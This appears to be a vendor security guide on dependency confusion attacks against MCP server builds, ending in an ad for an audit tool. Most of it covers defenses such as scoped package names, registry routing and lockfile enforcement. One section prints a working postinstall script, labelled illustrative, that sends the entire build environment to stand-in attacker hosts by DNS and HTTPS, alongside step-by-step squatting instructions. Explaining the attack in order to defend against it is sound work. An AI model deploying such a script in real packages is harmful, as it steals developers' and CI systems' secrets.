Topic: mcp server dependency confusion security
MCP server dependency confusion — securing package installation against namespace squatting
Dependency confusion is a supply-chain attack where an attacker publishes a malicious public package with the same name as a private internal package used by the target. When the build system fetches packages, the public registry's version (under attacker control) takes precedence — and the malicious package executes at install time with full developer or CI credentials.
How dependency confusion targets MCP servers
MCP servers are often built as internal tools. A team building an MCP server for internal data access might depend on shared internal packages for authentication helpers, schema validators, or internal API clients — packages that live in a corporate npm registry, a private PyPI mirror, or an internal Go module proxy. When those packages are named without an organization scope (for example, mcp-auth-utils rather than @corp/mcp-auth-utils), the same name can be freely registered on the public npm registry by anyone.
The attack does not require any vulnerability in the package manager itself. It exploits the version resolution logic that package managers use when a package name is resolvable from multiple registries: the registry that offers the highest version number wins. An attacker who publishes mcp-auth-utils@999.0.0 on public npm will beat an internal mcp-auth-utils@1.4.2 on every unguarded npm install.
The attack step by step
The attack requires no special access to the target organization. Everything the attacker needs is likely visible in public repositories:
- Attacker searches the target's public GitHub repositories for
package.json,requirements.txt, orgo.modfiles containing unscoped package names that don't appear on the public registry. - Attacker registers that name on npm or PyPI with a version number higher than any plausible internal version (e.g.,
9999.0.0) and apostinstallscript designed to exfiltrate environment variables. - On the next
npm install— in CI, on a developer machine, or in a Docker build — the public registry version takes priority and the maliciouspostinstallexecutes. - The script runs with full access to the environment:
AWS_SECRET_ACCESS_KEY,NPM_TOKEN,GITHUB_TOKEN, database credentials — everything present in the CI environment at install time.
// Malicious postinstall script in the squatted public package
// (Illustrative — shows the exact exfiltration technique)
// package.json: { "scripts": { "postinstall": "node steal.js" } }
// steal.js
const https = require('https');
const dns = require('dns');
// Encode all env vars as a DNS query — bypasses HTTP egress filters
const payload = Buffer.from(JSON.stringify(process.env))
.toString('base64')
.replace(/[^a-zA-Z0-9]/g, '')
.slice(0, 60); // DNS label max length
dns.lookup(`${payload}.exfil.attacker.example`, () => {});
// Also try direct HTTP in case DNS-only filtering is not in place
const data = JSON.stringify({ env: process.env, cwd: process.cwd() });
const req = https.request({
hostname: 'collect.attacker.example',
path: '/in',
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': data.length },
});
req.write(data);
req.end();
The DNS exfiltration technique is particularly dangerous because many CI environments block outbound HTTP but allow outbound DNS queries. The entire process.env object — every secret, token, and credential in the build environment — can be transmitted to the attacker's nameserver in a series of DNS lookups, none of which trigger standard HTTP egress alerts.
Why scoped packages prevent it
An npm scoped package name like @corp/mcp-auth-utils cannot be claimed on the public npm registry by anyone who does not own the @corp organization on npm. The scope acts as a namespace that is cryptographically tied to an npm organization account. An attacker cannot register @corp/anything without access to your npm organization account.
The Python equivalent is less elegant because PyPI has no scoping mechanism, but the approach is to register your internal package name as a stub on public PyPI — a package that installs but raises an ImportError with a message explaining that the real package is internal. This pre-empts the name, preventing the attacker from ever registering it. The Go module system uses full URL paths as module identifiers, so internal modules on a private proxy with paths like go.corp.internal/mcp-utils are not resolvable from the public module proxy by construction.
Defense 1: Scope all internal packages
Rename every internal npm package to use an organization scope. This requires updating all imports but eliminates the dependency confusion attack surface entirely for npm:
# Before (vulnerable): unscoped name resolvable from any registry
# package.json dependency:
"mcp-auth-utils": "^1.4.2"
# After (safe): scoped name — cannot be squatted on public npm
"@corp/mcp-auth-utils": "^1.4.2"
# Python: register a stub on public PyPI to pre-empt squatting
# pyproject.toml for the public stub:
[project]
name = "corp-mcp-auth-utils"
version = "0.0.1"
description = "Internal package — see go/internal-packages"
# stub __init__.py:
raise ImportError(
"corp-mcp-auth-utils is an internal package. "
"Install from the internal PyPI mirror at https://pypi.corp.internal"
)
Defense 2: Registry allowlist via .npmrc scoped registry config
Configure npm to route scoped packages to the internal registry and everything else to the public registry. This ensures that even if a developer accidentally uses an unscoped internal package name, the package manager will only look for it in the correct place:
# .npmrc in the project root (committed to source control)
# Internal scope routes to the corporate registry
@corp:registry=https://registry.corp.internal
//registry.corp.internal/:always-auth=true
//registry.corp.internal/:_authToken=${CORP_NPM_TOKEN}
# Everything else goes to the public registry
registry=https://registry.npmjs.org
# pip equivalent: pip.conf or pyproject.toml [tool.pip] section
# [global]
# index-url = https://pypi.corp.internal/simple/
# extra-index-url = https://pypi.org/simple/
# Note: place the internal index FIRST — pip resolves in order, not by version
The critical detail for pip: unlike npm, pip with --extra-index-url does not automatically pick the highest version across all indexes. It installs from the first index where the package is found. Put your internal index first in index-url and the public index in extra-index-url to ensure internal packages take priority.
Defense 3: Integrity verification with lockfiles
Lockfiles record the exact resolved version and integrity hash of every dependency at the time the lockfile was generated. Using the lockfile as the authoritative source of truth — rather than re-resolving dependencies at build time — means an attacker publishing a higher-versioned squatter package has no effect because the version was already pinned.
# npm: use 'npm ci' (not 'npm install') in CI and Dockerfiles
# npm ci:
# - Requires package-lock.json to exist
# - Fails if package-lock.json and package.json are out of sync
# - Never updates the lockfile — installs exactly what is locked
RUN npm ci --ignore-scripts
# Python: pip with hash enforcement
# First, generate a requirements file with hashes:
pip-compile --generate-hashes requirements.in > requirements.txt
# In CI and Dockerfiles, install with hash verification:
pip install --require-hashes -r requirements.txt
# Go: go.sum is verified automatically by the Go toolchain
# Never delete go.sum and always commit it to source control
go mod verify # verifies all downloaded modules against go.sum
Note the --ignore-scripts flag on npm ci: this prevents postinstall scripts from running during the install step. For packages that genuinely require postinstall scripts (some native addons), audit those scripts explicitly and allow only the specific ones needed.
Defense 4: Block outbound access from build agents
The most robust defense is network isolation. CI build agents should not have direct outbound internet access to public registries. All npm, pip, and Go module traffic should be routed through an internal mirror or proxy that maintains an allowlist of approved packages. An attacker's squatter package on public npm cannot be reached if the build agent has no route to registry.npmjs.org:
# Example: Dockerfile using an internal npm mirror
# The build agent's network policy blocks registry.npmjs.org outright
# .npmrc baked into the image or mounted as a secret
registry=https://registry.corp.internal
//registry.corp.internal/:_authToken=${CORP_NPM_TOKEN}
# The internal mirror proxies only allowlisted packages
# Any request for an unknown package returns 404 — no automatic passthrough
What SkillAudit checks
- unscoped-internal-package-names —
package.jsonorrequirements.txtreferences package names that appear to be internal (absent from the public registry, matching internal naming patterns) but are not scoped or prefixed in a way that prevents public registry squatting. - no-lockfile-enforcement — the CI pipeline uses
npm installrather thannpm ci, or usespip installwithout--require-hashes, leaving dependency resolution open to version-win attacks at build time. - no-registry-scope-config — no
.npmrcorpip.confconfiguration routes scoped or internal package names to the corporate registry, meaning all package resolution goes to the public registry by default.
SkillAudit scans your MCP server's dependency manifests for unscoped private package patterns, inspects registry configuration files, and checks CI pipeline definitions for lockfile enforcement flags.
Check your MCP server's build configuration for dependency confusion exposure.
Run a free audit →